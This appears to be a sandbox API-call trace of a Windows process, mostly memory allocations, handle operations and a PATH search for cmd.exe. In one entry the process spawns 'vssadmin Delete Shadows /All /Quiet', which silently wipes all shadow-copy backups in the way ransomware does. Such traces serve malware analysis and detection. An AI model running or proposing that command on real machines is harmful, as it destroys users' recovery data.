	[0062.532] VirtualAlloc (lpAddress=0xc00015e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015e000
	[0062.532] VirtualAlloc (lpAddress=0xc000160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000160000
	[0062.532] VirtualAlloc (lpAddress=0xc000162000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000162000
	[0062.533] VirtualAlloc (lpAddress=0xc000164000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000164000
	[0062.533] VirtualAlloc (lpAddress=0xc000166000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000166000
	[0062.533] GetProcAddress (hModule=0x7ffce9120000, lpProcName="FreeEnvironmentStringsW") returned 0x7ffce913ddc0
	[0062.534] FreeEnvironmentStringsW (penv=0x1619f3af610) returned 1
	[0062.534] VirtualAlloc (lpAddress=0xc000168000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000168000
	[0062.534] VirtualAlloc (lpAddress=0xc00016a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016a000
	[0062.553] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetCurrentProcess") returned 0x7ffce9141e00
	[0062.553] GetCurrentProcess () returned 0xffffffffffffffff
	[0062.553] GetProcAddress (hModule=0x7ffce9120000, lpProcName="DuplicateHandle") returned 0x7ffce9141eb0
	[0062.553] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000108b80, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000108b80*=0x14c) returned 1
	[0062.553] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x138, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000108b88, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000108b88*=0x150) returned 1
	[0062.553] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x148, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000108b90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000108b90*=0x154) returned 1
	[0062.553] VirtualAlloc (lpAddress=0xc00016e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016e000
	[0062.554] VirtualAlloc (lpAddress=0xc000172000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000172000
	[0062.554] VirtualAlloc (lpAddress=0xc000176000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000176000
	[0062.555] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine="cmd /C vssadmin Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0xc000176000, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9a78*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154), lpProcessInformation=0xc0000c9988 | out: lpCommandLine="cmd /C vssadmin Delete Shadows /All /Quiet", lpProcessInformation=0xc0000c9988*(hProcess=0x15c, hThread=0x158, dwProcessId=0xd14, dwThreadId=0xd1c)) returned 1
	[0062.569] CloseHandle (hObject=0x158) returned 1
	[0062.569] CloseHandle (hObject=0x154) returned 1
	[0062.569] CloseHandle (hObject=0x150) returned 1
	[0062.569] CloseHandle (hObject=0x14c) returned 1
	[0062.569] CloseHandle (hObject=0x13c) returned 1
	[0062.569] CloseHandle (hObject=0x138) returned 1
	[0062.569] CloseHandle (hObject=0x148) returned 1
	[0062.569] GetProcAddress (hModule=0x7ffce9120000, lpProcName="WaitForSingleObject") returned 0x7ffce9142090
	[0062.569] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.426] SetEvent (hEvent=0x120) returned 1
	[0067.427] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetExitCodeProcess") returned 0x7ffce913bc80
	[0067.427] GetExitCodeProcess (in: hProcess=0x15c, lpExitCode=0xc0000c9c9c | out: lpExitCode=0xc0000c9c9c*=0x2) returned 1
	[0067.427] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetProcessTimes") returned 0x7ffce9138e20
	[0067.427] GetProcessTimes (in: hProcess=0x15c, lpCreationTime=0xc000108be0, lpExitTime=0xc000108be8, lpKernelTime=0xc000108bf0, lpUserTime=0xc000108bf8 | out: lpCreationTime=0xc000108be0, lpExitTime=0xc000108be8, lpKernelTime=0xc000108bf0, lpUserTime=0xc000108bf8) returned 1
	[0067.427] CloseHandle (hObject=0x15c) returned 1
	[0067.427] CreateIoCompletionPort (FileHandle=0xffffffffffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x15c
	[0067.427] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fbff138, ulCount=0x10, ulNumEntriesRemoved=0x92fbff110, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x92fbff138, ulNumEntriesRemoved=0x92fbff110) returned 0
	[0067.476] SetEvent (hEvent=0xe4) returned 1
	[0067.476] VirtualAlloc (lpAddress=0xc000178000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000178000
	[0067.487] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000150680, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0067.487] GetFileAttributesExW (in: lpFileName="cmd.com" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.487] CreateFileW (lpFileName="cmd.com" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.487] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.487] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.487] GetFileAttributesExW (in: lpFileName="cmd.bat" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.bat"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.490] CreateFileW (lpFileName="cmd.bat" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.490] GetFileAttributesExW (in: lpFileName="cmd.cmd" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.490] CreateFileW (lpFileName="cmd.cmd" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.490] GetFileAttributesExW (in: lpFileName="cmd.vbs" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.490] CreateFileW (lpFileName="cmd.vbs" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.490] GetFileAttributesExW (in: lpFileName="cmd.vbe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.490] CreateFileW (lpFileName="cmd.vbe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.491] GetFileAttributesExW (in: lpFileName="cmd.js" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.js"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.491] CreateFileW (lpFileName="cmd.js" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.491] GetFileAttributesExW (in: lpFileName="cmd.jse" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.jse"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.491] CreateFileW (lpFileName="cmd.jse" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.491] GetFileAttributesExW (in: lpFileName="cmd.wsf" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.491] CreateFileW (lpFileName="cmd.wsf" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.491] GetFileAttributesExW (in: lpFileName="cmd.wsh" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.491] CreateFileW (lpFileName="cmd.wsh" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.491] GetFileAttributesExW (in: lpFileName="cmd.msc" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.msc"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.491] CreateFileW (lpFileName="cmd.msc" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.492] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000150750, nSize=0x64 | out: lpBuffer="") returned 0xbc
	[0067.492] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000144300, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0067.492] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.com" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.492] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.com" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.492] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.492] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.502] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.bat" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.bat"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.502] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.bat" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.502] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.cmd" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.502] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.cmd" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.503] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbs" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.503] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbs" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.503] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.503] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.503] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.js" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.js"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.503] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.js" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.503] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.jse" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.jse"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.503] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.jse" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.504] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsf" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.504] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsf" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.506] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsh" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.555] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsh" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.555] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.msc" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.msc"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.555] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.msc" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.555] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0067.556] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0067.556] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
